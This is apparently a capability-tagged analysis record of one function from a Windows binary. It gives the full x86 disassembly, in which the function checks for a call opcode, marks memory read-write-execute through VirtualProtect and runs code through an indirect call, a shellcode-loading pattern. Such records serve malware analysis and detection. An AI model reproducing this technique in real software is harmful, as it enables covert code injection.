Function at 0x100045fd
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
cmp dword [0x1000dae3], 0
je 0x10004655
mov eax, 1
jmp 0x10004a59
push dword [0x1000dad3]
push 0x1000da27
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x18]
mov dword [ebp - 4], eax
push 4
push dword [0x1000dad3]
call fcn.10001535
push eax
push 0x1000da27
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x18]
mov dword [ebp - 8], eax
push 1
push dword [ebp - 8]
push dword [ebp - 4]
push 0x1000da27
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x100046be
push ebx
call fcn.10008fc9
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 4], 0
je 0x100046dd
cmp dword [ebp - 8], 0
je 0x100046dd
mov eax, 1
jmp 0x100046df
xor eax, eax
test eax, eax
je 0x10004a4f
push 0
push 0
push 0
push 0x80000005
push 0
push 0x1000d3c3
push 0x80000005
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000470c
mov eax, 0x1000d21a
push eax
push 3
mov ebx, 0x1ac
call fcn.1000a2d0
add esp, 0x28
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x10004778
push dword [ebp - 0x10]
push dword [ebp - 4]
call fcn.10001535
mov dword [ebp - 0x24], eax
push 0xe
push dword [ebp - 0x24]
call fcn.10001535
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
push 0x1000da27
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xe8
jne 0x10004778
mov dword [ebp - 0x18], 1
jmp 0x10004778
cmp dword [ebp - 0x18], 0
jne 0x1000481d
push 0
push 0
push 0
push 0x80000005
push 0
push 0x1000d3d6
push 0x80000005
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x100047a7
mov eax, 0x1000d21a
push eax
push 3
mov ebx, 0x1ac
call fcn.1000a2d0
add esp, 0x28
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x1000481d
push dword [ebp - 0x10]
push dword [ebp - 4]
call fcn.10001535
mov dword [ebp - 0x24], eax
push 6
push dword [ebp - 0x24]
call fcn.10004a6f
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
push 0x1000da27
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xc]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xe8
jne 0x10004813
mov dword [ebp - 0x18], 1
jmp 0x1000481d
mov eax, 0
jmp 0x10004a59
push 0
push 0
push 0
push 0x80000005
push 0
push 0x1000d3e6
push 0x80000005
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10004842
mov eax, 0x1000d21a
push eax
push 3
mov ebx, 0x1ac
call fcn.1000a2d0
add esp, 0x28
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x1000486c
mov eax, 0
jmp 0x10004a59
cmp dword [ebp - 0x18], 0
je 0x10004a4f
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.10001535
mov dword [ebp - 0x24], eax
push 1
push dword [ebp - 0x24]
call fcn.10004a6f
mov dword [0x1000dae3], eax
lea eax, [ebp - 0xc]
push eax
call fcn.10001df3
mov dword [ebp - 0x24], eax
push dword [ebp - 8]
push dword [ebp - 0x24]
call fcn.10004a90
mov dword [ebp - 0x1c], eax
push 0x80000301
push 0
push dword [ebp - 0x1c]
push 1
mov ebx, 0x9dc
call fcn.10009370
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x198
call fcn.100095f0
add esp, 0x10
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push 0x1000d3fa
mov ecx, 2
call fcn.10001018
add esp, 8
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x10004911
push ebx
call fcn.10008fc9
add esp, 4
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [0x1000dafb]
test ebx, ebx
je 0x10004928
push ebx
call fcn.10008fc9
add esp, 4
pop eax
mov dword [0x1000dafb], eax
push 5
push dword [ebp - 0x14]
call fcn.10001535
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x9dc
call fcn.10009370
add esp, 0x10
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x198
call fcn.100095f0
add esp, 0x10
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push 0x1000d209
push dword [0x1000dafb]
mov ecx, 3
call fcn.10001018
add esp, 0xc
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x100049a0
push ebx
call fcn.10008fc9
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [0x1000dafb]
test ebx, ebx
je 0x100049b7
push ebx
call fcn.10008fc9
add esp, 4
pop eax
mov dword [0x1000dafb], eax
push 0x1000d403
push dword [0x1000dafb]
mov ecx, 2
call fcn.10001018
add esp, 8
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [0x1000dafb]
test ebx, ebx
je 0x100049ef
push ebx
call fcn.10008fc9
add esp, 4
pop eax
mov dword [0x1000dafb], eax
push 0x1000dafb
call fcn.10001df3
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], esp
lea eax, [ebp - 0x20]
push eax
push 0x40
push 1
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x28], esp
je 0x10004a32
push 6
call fcn.10008fb7
add esp, 4
push 0x1000dafb
call fcn.10001df3
push eax
push dword [ebp - 0x14]
call fcn.10004afd
mov eax, 1
jmp 0x10004a59
mov eax, 0
jmp 0x10004a59
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10004a6a
push ebx
call fcn.10008fc9
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret